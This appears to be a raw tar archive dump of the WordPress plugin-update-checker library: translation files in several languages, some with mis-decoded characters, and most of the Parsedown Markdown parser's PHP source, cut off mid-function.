actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_DO.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017133 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-sv_SE.mo���������������������������������������������0000644�����������������00000001756�14757771437�0017167 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨������©��� ���»���"���Ü���=���ÿ���-���=��Á��k�����-��+���F��3���r��)���¦�����Ð�����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-05-20 10:53+0300 PO-Revision-Date: 2017-10-16 15:02+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.0.4 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: sv_SE X-Poedit-SearchPath-0: . �Sök efter uppdateringar�Det finns ingen ändringslogg tillgänglig.�Okänd status för kontroll av uppdatering “%sâ€�Det finns en ny version av tillägget %s.�Tillägget %s är uppdaterat.�������������������update-checker/languages/plugin-update-checker-ru_RU.po���������������������������������������������0000644�����������������00000003133�14757771437�0017176 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2020-08-08 14:36+0300\n" "PO-Revision-Date: 2021-12-20 17:59+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: ru_RU\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p11/Plugin/Ui.php:128 msgid "Check for updates" msgstr "Проверить обновлениÑ" #: Puc/v4p11/Plugin/Ui.php:213 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Плагин %s обновлён." #: Puc/v4p11/Plugin/Ui.php:215 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "ÐÐ¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ %s доÑтупна." #: Puc/v4p11/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Ðе удалоÑÑŒ определить, доÑтупны ли Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ %s." #: Puc/v4p11/Plugin/Ui.php:223 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "ÐеизвеÑтный ÑÑ‚Ð°Ñ‚ÑƒÑ ÑредÑтва проверки обновлений \"%s\"" #: Puc/v4p11/Vcs/PluginUpdateChecker.php:98 msgid "There is no changelog available." msgstr "Журнал изменений отÑутÑтвует." �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_PE.po���������������������������������������������0000644�����������������00000002756�14757771437�0017147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:15-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_PE.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:15-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-zh_CN.po���������������������������������������������0000644�����������������00000003046�14757771437�0017146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2022-01-29 12:09+0800\n" "PO-Revision-Date: 2022-01-29 12:10+0800\n" "Last-Translator: Seaton Jiang <hi@seatonjiang.com>\n" "Language-Team: \n" "Language: zh_CN\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p11/Plugin/Ui.php:54 msgid "View details" msgstr "查看详情" #: Puc/v4p11/Plugin/Ui.php:77 #, php-format msgid "More information about %s" msgstr "%s 的更多信æ¯" #: Puc/v4p11/Plugin/Ui.php:128 msgid "Check for updates" msgstr "检查更新" #: Puc/v4p11/Plugin/Ui.php:214 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "%s ç›®å‰æ˜¯æœ€æ–°ç‰ˆæœ¬ã€‚" #: Puc/v4p11/Plugin/Ui.php:216 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "%s 当å‰æœ‰å¯ç”¨çš„更新。" #: Puc/v4p11/Plugin/Ui.php:218 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "%s 无法确定是å¦æœ‰å¯ç”¨çš„更新。" #: Puc/v4p11/Plugin/Ui.php:224 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "未知的更新检查状æ€ï¼š%s" #: Puc/v4p11/Vcs/PluginUpdateChecker.php:100 msgid "There is no changelog available." msgstr "没有å¯ç”¨çš„更新日志。" ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/vendor/Parsedown.php�����������������������������������������������������������������0000644�����������������00000000136�14757771437�0013426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( !class_exists('Parsedown', false) ) { require __DIR__ . '/ParsedownModern.php'; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/vendor/ParsedownModern.php�����������������������������������������������������������0000644�����������������00000111477�14757771437�0014606 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php # # # Parsedown # http://parsedown.org # # (c) Emanuil Rusev # http://erusev.com # # For the full license information, view the LICENSE file that was distributed # with this source code. # # class Parsedown { # ~ const version = '1.6.0'; # ~ function text($text) { # make sure no definitions are set $this->DefinitionData = array(); # standardize line breaks $text = str_replace(array("\r\n", "\r"), "\n", $text); # remove surrounding line breaks $text = trim($text, "\n"); # split text into lines $lines = explode("\n", $text); # iterate through lines to identify blocks $markup = $this->lines($lines); # trim line breaks $markup = trim($markup, "\n"); $markup = preg_replace('/^\s*<p>(.*?)<\/p>\s*$/', '$1', $markup); return $markup; } # # Setters # function setBreaksEnabled($breaksEnabled) { $this->breaksEnabled = $breaksEnabled; return $this; } protected $breaksEnabled; function setMarkupEscaped($markupEscaped) { $this->markupEscaped = $markupEscaped; return $this; } protected $markupEscaped; function setUrlsLinked($urlsLinked) { $this->urlsLinked = $urlsLinked; return $this; } protected $urlsLinked = true; # # Lines # protected $BlockTypes = array( '#' => array('Header'), '*' => array('Rule', 'List'), '+' => array('List'), '-' => array('SetextHeader', 'Table', 'Rule', 'List'), '0' => array('List'), '1' => array('List'), '2' => array('List'), '3' => array('List'), '4' => array('List'), '5' => array('List'), '6' => array('List'), '7' => array('List'), '8' => array('List'), '9' => array('List'), ':' => array('Table'), '<' => array('Comment', 'Markup'), '=' => array('SetextHeader'), '>' => array('Quote'), '[' => array('Reference'), '_' => array('Rule'), '`' => array('FencedCode'), '|' => array('Table'), '~' => array('FencedCode'), ); # ~ protected $unmarkedBlockTypes = array( 'Code', ); # # Blocks # protected function lines(array $lines) { $CurrentBlock = null; foreach ($lines as $line) { if (chop($line) === '') { if (isset($CurrentBlock)) { $CurrentBlock['interrupted'] = true; } continue; } if (strpos($line, "\t") !== false) { $parts = explode("\t", $line); $line = $parts[0]; unset($parts[0]); foreach ($parts as $part) { $shortage = 4 - mb_strlen($line, 'utf-8') % 4; $line .= str_repeat(' ', $shortage); $line .= $part; } } $indent = 0; while (isset($line[$indent]) and $line[$indent] === ' ') { $indent ++; } $text = $indent > 0 ? substr($line, $indent) : $line; # ~ $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); # ~ if (isset($CurrentBlock['continuable'])) { $Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock); if (isset($Block)) { $CurrentBlock = $Block; continue; } else { if ($this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } } } # ~ $marker = $text[0]; # ~ $blockTypes = $this->unmarkedBlockTypes; if (isset($this->BlockTypes[$marker])) { foreach ($this->BlockTypes[$marker] as $blockType) { $blockTypes []= $blockType; } } # # ~ foreach ($blockTypes as $blockType) { $Block = $this->{'block'.$blockType}($Line, $CurrentBlock); if (isset($Block)) { $Block['type'] = $blockType; if ( ! isset($Block['identified'])) { $Blocks []= $CurrentBlock; $Block['identified'] = true; } if ($this->isBlockContinuable($blockType)) { $Block['continuable'] = true; } $CurrentBlock = $Block; continue 2; } } # ~ if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted'])) { $CurrentBlock['element']['text'] .= "\n".$text; } else { $Blocks []= $CurrentBlock; $CurrentBlock = $this->paragraph($Line); $CurrentBlock['identified'] = true; } } # ~ if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } # ~ $Blocks []= $CurrentBlock; unset($Blocks[0]); # ~ $markup = ''; foreach ($Blocks as $Block) { if (isset($Block['hidden'])) { continue; } $markup .= "\n"; $markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']); } $markup .= "\n"; # ~ return $markup; } protected function isBlockContinuable($Type) { return method_exists($this, 'block'.$Type.'Continue'); } protected function isBlockCompletable($Type) { return method_exists($this, 'block'.$Type.'Complete'); } # # Code protected function blockCode($Line, $Block = null) { if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted'])) { return; } if ($Line['indent'] >= 4) { $text = substr($Line['body'], 4); $Block = array( 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => array( 'name' => 'code', 'text' => $text, ), ), ); return $Block; } } protected function blockCodeContinue($Line, $Block) { if ($Line['indent'] >= 4) { if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } $Block['element']['text']['text'] .= "\n"; $text = substr($Line['body'], 4); $Block['element']['text']['text'] .= $text; return $Block; } } protected function blockCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Comment protected function blockComment($Line) { if ($this->markupEscaped) { return; } if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!') { $Block = array( 'markup' => $Line['body'], ); if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } } protected function blockCommentContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } $Block['markup'] .= "\n" . $Line['body']; if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } # # Fenced Code protected function blockFencedCode($Line) { if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches)) { $Element = array( 'name' => 'code', 'text' => '', ); if (isset($matches[1])) { $class = 'language-'.$matches[1]; $Element['attributes'] = array( 'class' => $class, ); } $Block = array( 'char' => $Line['text'][0], 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => $Element, ), ); return $Block; } } protected function blockFencedCodeContinue($Line, $Block) { if (isset($Block['complete'])) { return; } if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text'])) { $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); $Block['complete'] = true; return $Block; } $Block['element']['text']['text'] .= "\n".$Line['body']; return $Block; } protected function blockFencedCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Header protected function blockHeader($Line) { if (isset($Line['text'][1])) { $level = 1; while (isset($Line['text'][$level]) and $Line['text'][$level] === '#') { $level ++; } if ($level > 6) { return; } $text = trim($Line['text'], '# '); $Block = array( 'element' => array( 'name' => 'h' . min(6, $level), 'text' => $text, 'handler' => 'line', ), ); return $Block; } } # # List protected function blockList($Line) { list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]'); if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches)) { $Block = array( 'indent' => $Line['indent'], 'pattern' => $pattern, 'element' => array( 'name' => $name, 'handler' => 'elements', ), ); $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $matches[2], ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } } protected function blockListContinue($Line, array $Block) { if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['li']['text'] []= ''; unset($Block['interrupted']); } unset($Block['li']); $text = isset($matches[1]) ? $matches[1] : ''; $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $text, ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } if ($Line['text'][0] === '[' and $this->blockReference($Line)) { return $Block; } if ( ! isset($Block['interrupted'])) { $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; return $Block; } if ($Line['indent'] > 0) { $Block['li']['text'] []= ''; $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; unset($Block['interrupted']); return $Block; } } # # Quote protected function blockQuote($Line) { if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { $Block = array( 'element' => array( 'name' => 'blockquote', 'handler' => 'lines', 'text' => (array) $matches[1], ), ); return $Block; } } protected function blockQuoteContinue($Line, array $Block) { if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['element']['text'] []= ''; unset($Block['interrupted']); } $Block['element']['text'] []= $matches[1]; return $Block; } if ( ! isset($Block['interrupted'])) { $Block['element']['text'] []= $Line['text']; return $Block; } } # # Rule protected function blockRule($Line) { if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text'])) { $Block = array( 'element' => array( 'name' => 'hr' ), ); return $Block; } } # # Setext protected function blockSetextHeader($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (chop($Line['text'], $Line['text'][0]) === '') { $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; return $Block; } } # # Markup protected function blockMarkup($Line) { if ($this->markupEscaped) { return; } if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches)) { $element = strtolower($matches[1]); if (in_array($element, $this->textLevelElements)) { return; } $Block = array( 'name' => $matches[1], 'depth' => 0, 'markup' => $Line['text'], ); $length = strlen($matches[0]); $remainder = substr($Line['text'], $length); if (trim($remainder) === '') { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { $Block['closed'] = true; $Block['void'] = true; } } else { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { return; } if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder)) { $Block['closed'] = true; } } return $Block; } } protected function blockMarkupContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open { $Block['depth'] ++; } if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close { if ($Block['depth'] > 0) { $Block['depth'] --; } else { $Block['closed'] = true; } } if (isset($Block['interrupted'])) { $Block['markup'] .= "\n"; unset($Block['interrupted']); } $Block['markup'] .= "\n".$Line['body']; return $Block; } # # Reference protected function blockReference($Line) { if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { $id = strtolower($matches[1]); $Data = array( 'url' => $matches[2], 'title' => null, ); if (isset($matches[3])) { $Data['title'] = $matches[3]; } $this->DefinitionData['Reference'][$id] = $Data; $Block = array( 'hidden' => true, ); return $Block; } } # # Table protected function blockTable($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '') { $alignments = array(); $divider = $Line['text']; $divider = trim($divider); $divider = trim($divider, '|'); $dividerCells = explode('|', $divider); foreach ($dividerCells as $dividerCell) { $dividerCell = trim($dividerCell); if ($dividerCell === '') { continue; } $alignment = null; if ($dividerCell[0] === ':') { $alignment = 'left'; } if (substr($dividerCell, - 1) === ':') { $alignment = $alignment === 'left' ? 'center' : 'right'; } $alignments []= $alignment; } # ~ $HeaderElements = array(); $header = $Block['element']['text']; $header = trim($header); $header = trim($header, '|'); $headerCells = explode('|', $header); foreach ($headerCells as $index => $headerCell) { $headerCell = trim($headerCell); $HeaderElement = array( 'name' => 'th', 'text' => $headerCell, 'handler' => 'line', ); if (isset($alignments[$index])) { $alignment = $alignments[$index]; $HeaderElement['attributes'] = array( 'style' => 'text-align: '.$alignment.';', ); } $HeaderElements []= $HeaderElement; } # ~ $Block = array( 'alignments' => $alignments, 'identified' => true, 'element' => array( 'name' => 'table', 'handler' => 'elements', ), ); $Block['element']['text'] []= array( 'name' => 'thead', 'handler' => 'elements', ); $Block['element']['text'] []= array( 'name' => 'tbody', 'handler' => 'elements', 'text' => array(), ); $Block['element']['text'][0]['text'] []= array( 'name' => 'tr', 'handler' => 'elements', 'text' => $HeaderElements, ); return $Block; } } protected function blockTableContinue($Line, array $Block) { if (isset($Block['interrupted'])) { return; } if ($Line['text'][0] === '|' or strpos($Line['text'], '|')) { $Elements = array(); $row = $Line['text']; $row = trim($row); $row = trim($row, '|'); preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); foreach ($matches[0] as $index => $cell) { $cell = trim($cell); $Element = array( 'name' => 'td', 'handler' => 'line', 'text' => $cell, ); if (isset($Block['alignments'][$index])) { $Element['attributes'] = array( 'style' => 'text-align: '.$Block['alignments'][$index].';', ); } $Elements []= $Element; } $Element = array( 'name' => 'tr', 'handler' => 'elements', 'text' => $Elements, ); $Block['element']['text'][1]['text'] []= $Element; return $Block; } } # # ~ # protected function paragraph($Line) { $Block = array( 'element' => array( 'name' => 'p', 'text' => $Line['text'], 'handler' => 'line', ), ); return $Block; } # # Inline Elements # protected $InlineTypes = array( '"' => array('SpecialCharacter'), '!' => array('Image'), '&' => array('SpecialCharacter'), '*' => array('Emphasis'), ':' => array('Url'), '<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'), '>' => array('SpecialCharacter'), '[' => array('Link'), '_' => array('Emphasis'), '`' => array('Code'), '~' => array('Strikethrough'), '\\' => array('EscapeSequence'), ); # ~ protected $inlineMarkerList = '!"*_&[:<>`~\\'; # # ~ # public function line($text) { $markup = ''; # $excerpt is based on the first occurrence of a marker while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { $marker = $excerpt[0]; $markerPosition = strpos($text, $marker); $Excerpt = array('text' => $excerpt, 'context' => $text); foreach ($this->InlineTypes[$marker] as $inlineType) { $Inline = $this->{'inline'.$inlineType}($Excerpt); if ( ! isset($Inline)) { continue; } # makes sure that the inline belongs to "our" marker if (isset($Inline['position']) and $Inline['position'] > $markerPosition) { continue; } # sets a default inline position if ( ! isset($Inline['position'])) { $Inline['position'] = $markerPosition; } # the text that comes before the inline $unmarkedText = substr($text, 0, $Inline['position']); # compile the unmarked text $markup .= $this->unmarkedText($unmarkedText); # compile the inline $markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']); # remove the examined text $text = substr($text, $Inline['position'] + $Inline['extent']); continue 2; } # the marker does not belong to an inline $unmarkedText = substr($text, 0, $markerPosition + 1); $markup .= $this->unmarkedText($unmarkedText); $text = substr($text, $markerPosition + 1); } $markup .= $this->unmarkedText($text); return $markup; } # # ~ # protected function inlineCode($Excerpt) { $marker = $Excerpt['text'][0]; if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(?<!'.$marker.')\1(?!'.$marker.')/s', $Excerpt['text'], $matches)) { $text = $matches[2]; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $text = preg_replace("/[ ]*\n/", ' ', $text); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'code', 'text' => $text, ), ); } } protected function inlineEmailTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; if ( ! isset($matches[2])) { $url = 'mailto:' . $url; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $matches[1], 'attributes' => array( 'href' => $url, ), ), ); } } protected function inlineEmphasis($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } $marker = $Excerpt['text'][0]; if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'strong'; } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'em'; } else { return; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => $emphasis, 'handler' => 'line', 'text' => $matches[1], ), ); } protected function inlineEscapeSequence($Excerpt) { if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) { return array( 'markup' => $Excerpt['text'][1], 'extent' => 2, ); } } protected function inlineImage($Excerpt) { if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') { return; } $Excerpt['text']= substr($Excerpt['text'], 1); $Link = $this->inlineLink($Excerpt); if ($Link === null) { return; } $Inline = array( 'extent' => $Link['extent'] + 1, 'element' => array( 'name' => 'img', 'attributes' => array( 'src' => $Link['element']['attributes']['href'], 'alt' => $Link['element']['text'], ), ), ); $Inline['element']['attributes'] += $Link['element']['attributes']; unset($Inline['element']['attributes']['href']); return $Inline; } protected function inlineLink($Excerpt) { $Element = array( 'name' => 'a', 'handler' => 'line', 'text' => null, 'attributes' => array( 'href' => null, 'title' => null, ), ); $extent = 0; $remainder = $Excerpt['text']; if (preg_match('/\[((?:[^][]|(?R))*)\]/', $remainder, $matches)) { $Element['text'] = $matches[1]; $extent += strlen($matches[0]); $remainder = substr($remainder, $extent); } else { return; } if (preg_match('/^[(]((?:[^ ()]|[(][^ )]+[)])+)(?:[ ]+("[^"]*"|\'[^\']*\'))?[)]/', $remainder, $matches)) { $Element['attributes']['href'] = $matches[1]; if (isset($matches[2])) { $Element['attributes']['title'] = substr($matches[2], 1, - 1); } $extent += strlen($matches[0]); } else { if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; $definition = strtolower($definition); $extent += strlen($matches[0]); } else { $definition = strtolower($Element['text']); } if ( ! isset($this->DefinitionData['Reference'][$definition])) { return; } $Definition = $this->DefinitionData['Reference'][$definition]; $Element['attributes']['href'] = $Definition['url']; $Element['attributes']['title'] = $Definition['title']; } $Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']); return array( 'extent' => $extent, 'element' => $Element, ); } protected function inlineMarkup($Excerpt) { if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false) { return; } if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?[^-])*-->/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } } protected function inlineSpecialCharacter($Excerpt) { if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { return array( 'markup' => '&', 'extent' => 1, ); } $SpecialCharacter = array('>' => 